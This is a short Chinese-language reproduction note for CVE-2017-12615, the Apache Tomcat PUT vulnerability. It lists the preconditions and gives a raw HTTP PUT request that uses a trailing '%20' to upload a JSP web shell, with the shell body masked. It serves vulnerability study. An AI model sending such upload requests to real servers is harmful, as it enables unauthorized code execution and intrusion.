简介
2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,其中就有远程代码执行漏洞(CVE-2017-12615),当存在漏洞的Tomcat运行在Windows主机上,且启用了HTTP PUT请求方法,恶意访问者通过构造的请求向服务器上传包含任意diam的JSP文件,造成任意代码执行,危害十分严重。
利用条件
Windows+配置文件readonly=false,配置文件内容如:
<init-param> <param-name>readonly</param-name> <param-value>false</param-value> </init-param>
复现
1
但是尾部添加空格可以使tomcat认为其不是jsp文件从而交由DefaultServlet处理。这种利用方式适用与Windows系统+Tomcat 7.x。
PUT /1.jsp%20 HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 532
******************shell*************************
成功